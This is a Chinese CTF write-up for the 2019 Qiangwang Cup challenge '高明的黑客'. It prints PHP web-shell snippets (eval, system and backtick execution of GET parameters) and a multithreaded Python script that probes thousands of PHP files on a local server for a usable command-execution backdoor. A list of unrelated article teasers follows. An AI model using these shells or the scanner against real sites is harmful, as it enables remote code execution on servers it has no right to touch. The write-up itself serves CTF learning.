[强网杯 2019]高明的黑客

news2024/9/24 11:33:06

目录

信息收集 

正则测试

python脚本

getshell


信息收集 

$_GET['ganVMUq3d'] = ' ';
eval($_GET['ganVMUq3d'] ?? ' ');

$_GET['jVMcNhK_F'] = ' ';
system($_GET['jVMcNhK_F'] ?? ' ');

$_GET['cXjHClMPs'] = ' ';
echo `{$_GET['cXjHClMPs']}`;

下载gz解压后得到几千个php文件,简单看几个发现都是一些不能利用的shell,虽然很多shell都没用,所以我们猜测这几千个php文件中肯定含有可以使用的shell,我们只有写脚本去试了。

正则测试

import re
a="$_GET['aaa']666aaa,coleak,999"
rrGET = re.compile(r"\$_GET\[\'(\w+)\'\](\d+).*?,(\w+),(\d+)")  # 匹配get参数
for i in rrGET.findall(a):
    print(i)

返回为一个元组

('aaa', '666', 'coleak', '999')

python脚本

import os
import requests
import re
import threading
import time
s1=threading.Semaphore(100) #设置最大的线程数
filePath = r"E:\www\src\\"
os.chdir(filePath)#改变当前工作目录到指定的路径
requests.adapters.DEFAULT_RETRIES =8 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)#获取文件名字列表
session = requests.Session()
session.keep_alive = False# 设置连接活跃状态为False
def get_content(file):
    s1.acquire()
    print('[+]trying   '+file)
    with open(file,encoding='utf-8') as f:#打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}#所有的$_POST
    params = {}#所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://localhost:8083/'+file
    req = session.post(url, data=data, params=params)#一次性请求所有的GET和POST
    req.close()# 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    if "xxxxxx" in content:	#如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()												# 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()	# 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()
if __name__ == '__main__':
    for i in files:		#加入多线程
       t = threading.Thread(target=get_content, args=(i,))
       t.start()

正则那里也可以先预加载正则式

rrGET = re.compile(r"\$_GET\[\'(\w+)\']")  # 匹配get参数
rrPOST = re.compile(r"\$_POST\[\'(\w+)\']")  # 匹配post参数
for i in rrGET.findall(content):
    r = session.get(url + "%s?%s=%s" % (fileName, i, "echo 'coleak';"))

由于buu访问次数过多会被限制访问,所以我们在本地搭建个PHP服务自己跑一下,测试的时候需要再本地搭一个PHP服务器且版本为7.x

大概半分钟就跑出来了可用的shell,这个脚本很巧妙的将所有参数一起传入进去,如果发现可以利用再细分找具体的参数

找到文件和shell

getshell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/187785.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【项目实战】count(1) 、count(col)、count(*) 如何选择?

一、背景 有时候会看业务执行的情况,如查看多少用户已经领取了礼品等,需要看数据库的计数或统计用户使用情况时,往往会使用聚合函数COUNT(),聚合函数有很多种,列出如官网的截图 而其中常用的聚合函数主要是包括以下&…

Linux常用命令——readelf命令

在线Linux命令查询工具(http://www.lzltool.com/LinuxCommand) readelf 用于显示elf格式文件的信息 补充说明 readelf命令用来显示一个或者多个elf格式的目标文件的信息,可以通过它的选项来控制显示哪些信息。这里的elf-file(s)就表示那些被检查的文件。可以支持…

java基于ssm滑雪场门票在线售票系统的设计与实现

基于jsp技术设计并实现了滑雪售票系统。该系统基于B/S即所谓浏览器/服务器模式,应用SSM框架,选择MySQL作为后台数据库。系统主要包括个人中心、用户管理、票务信息管理、购票信息管理、技巧交流、系统管理等功能模块。 性能测试主要通过模拟系统运行环境…

蓝桥杯刷题017——轨道炮(贪心)

2019国赛轨道炮 题目描述 小明在玩一款战争游戏。地图上一共有 N 个敌方单位,可以看作 2D 平面上的点。其中第 i 个单位在 0 时刻的位置是 (Xi​,Yi​),方向是 Di​ (上下左右之一, 用U/D/L/R 表示),速度是 Vi​。 小明的武器是轨道炮&#x…

我来告诉你,ChatGPT 该怎么对接到自己的项目中!

作者:小傅哥 博客:https://bugstack.cn 沉淀、分享、成长,让自己和他人都能有所收获!😄 1. 项目介绍 《ChatGPT AI 问答助手》 开源免费项目,涵盖爬虫接口、ChatGPT API对接、DDD架构设计、镜像打包、Dock…

六十年间中国经济总量增长245倍

中国GDP(现价美元)走势图回顾2022年,中国经济顶住了来自防控疫情及国际变化的巨大压力,全年GDP实现3%的同比增长,其中年末冬季GDP同比增长2.9%。从主要指标显示,12月第三产业、投资、地产都有不同程度的改善…

HTB_Base_php弱类型与find命令提权

至此,startpoint部分就完成了,也初步建立的渗透测试的思路和体系 温故而知新,可以为师矣 文章目录信息收集php弱类型 & strcmp绕过GTFOBins 二进制常用命令find提权信息收集 nmap -sC -A -Pn ip开放端口22、80 dirsearch 扫描目录&…

一文5000字手把手教你使用jenkins搭建一个中小企业前端项目部署环境

本文你能学到什么? 传统发布和现在发布的对比和区别 项目案例-手动上传服务器,使用jenkins上传服务器 配置不同的发布环境 配置域名 配置https 配置钉钉机器人通知【文末有配套资源领取】 服务器购买:抢占式实例 Jenkins 安装 示例服务器为 阿里…

系统移植 tf-a

1、从ST官网下载TF-A源码,将TF-A源码拷贝到ubuntu中并进行解压。 2、进入tf-a源码,阅读README.HOW_TO.txt帮助文档。 3、分析帮助文档。 分析文档可得,移植tf-a到开发板中步骤为:对tf-a源码进行解压;打补丁&#xff…

ElasticSearch从入门到出门【上】

文章目录初识elasticsearch了解ESelasticsearch的作用ELK技术栈elasticsearch和lucene为什么不是其他搜索技术?倒排索引正向索引倒排索引正向和倒排ES的一些概念文档和字段索引和映射mysql与elasticsearch安装elasticsearch部署单点es部署kibana安装IK分词器在线安装…

SpringBoot 使用自定义的方式整合Druid数据源(powernode document)(内含源代码)

SpringBoot 使用自定义的方式整合Druid数据源(powernode document)(内含源代码) 源代码下载链接地址:https://download.csdn.net/download/weixin_46411355/87404561 目录SpringBoot 使用自定义的方式整合Druid数据源…

SQLSERVER 的 nolock 到底是怎样的无锁?

一:背景 1. 讲故事 相信绝大部分用 SQLSERVER 作为底层存储的程序员都知道 nolock 关键词,即使当时不知道也会在踩过若干阻塞坑之后果断的加上 nolock,但这玩意有什么注意事项呢?这就需要了解它的底层原理了。 二:n…

python之np.sum()用法详解

python库numpy提供的求和方法np.sum(),可以对数组和矩阵进行求和。sum方法可以接收多个参数,主要是数组a,坐标轴axis,数据类型dtype,初始值initial。其中,axis对于我们来说比较容易迷糊,这个值对求和有什么影响?一般来…

Linux常用命令——rcp命令

在线Linux命令查询工具(http://www.lzltool.com/LinuxCommand) rcp 使在两台Linux主机之间的文件复制操作更简单 补充说明 rcp命令使在两台Linux主机之间的文件复制操作更简单。通过适当的配置,在两台Linux主机之间复制文件而无需输入密码,就像本地文…

React基础入门(一)

1、React简介 官网 英文官网: https://reactjs.org/ 中文官网: https://react.docschina.org/ 描述介绍 用于动态构建用户界面的 JavaScript 库(只关注于视图) 由Facebook开源 React特点 1、声明式编码 2、组件化编码 3、React Native 编写原生应用 4、高效(优秀…

苹果不小心删了照片怎么恢复?苹果照片删除后如何恢复

苹果不小心删了照片怎么恢复?请保持冷静,不要往mac中写入新的东西,以防丢失的照片被覆盖。接下来,我们一起来探讨一下mac照片恢复的技巧。 方法一、从“最近删除”文件夹中恢复照片 使用照片管理应用程序(例如Mac上的…

百趣代谢组学分享Lip-SMap:绘制代谢物和蛋白相互作用图谱的新方法

百趣代谢组学文献分享,自2014年瑞士苏黎世联邦理工学院的Picotti和她的研究小组开始用Lip-SRM法测量复杂蛋白质混合物的大量结构改性蛋白质以来[1];该研究小组随后对方法进行改进,研究了复杂细胞基质中几种生物蛋白质的热稳定性,并…

袁树雄和唐磊关系迎来转折,王勇把他们两个和杨语莲拉进一个群

自从《早安隆回》火爆全网之后,创作者袁树雄就遭遇各种非议,就是他的同行唐磊老师,也勇敢站出来点评。唐磊老师也是一名音乐人,当年他凭借《丁香花》,一夜之间响彻大江南北,成为了家喻户晓的大明星。 虽然唐…

1行Python代码识别车牌号码,轻松写一个停车场管理系统,YYDS

大家好,这里是程序员晚枫。 你家停车场的摄像头,是怎么识别出你的车牌的?今天我们一起来看一下~ 识别车牌 识别车牌的代码很简单,只需要1行代码,如下所示。👇 # pip install poocr import poocr# 可以填…

Day1 CF847 div3 vp A-E

Dashboard - Codeforces Round #847 (Div. 3) - Codeforces感觉想试试隔一天vp一场div3/4,那就试试吧本来想把F补完再写的,但是感觉有点晚了,那就将就一下吧,F有缘单独补,嘻今晚浅浅vp了一下,一鼓作气地打出…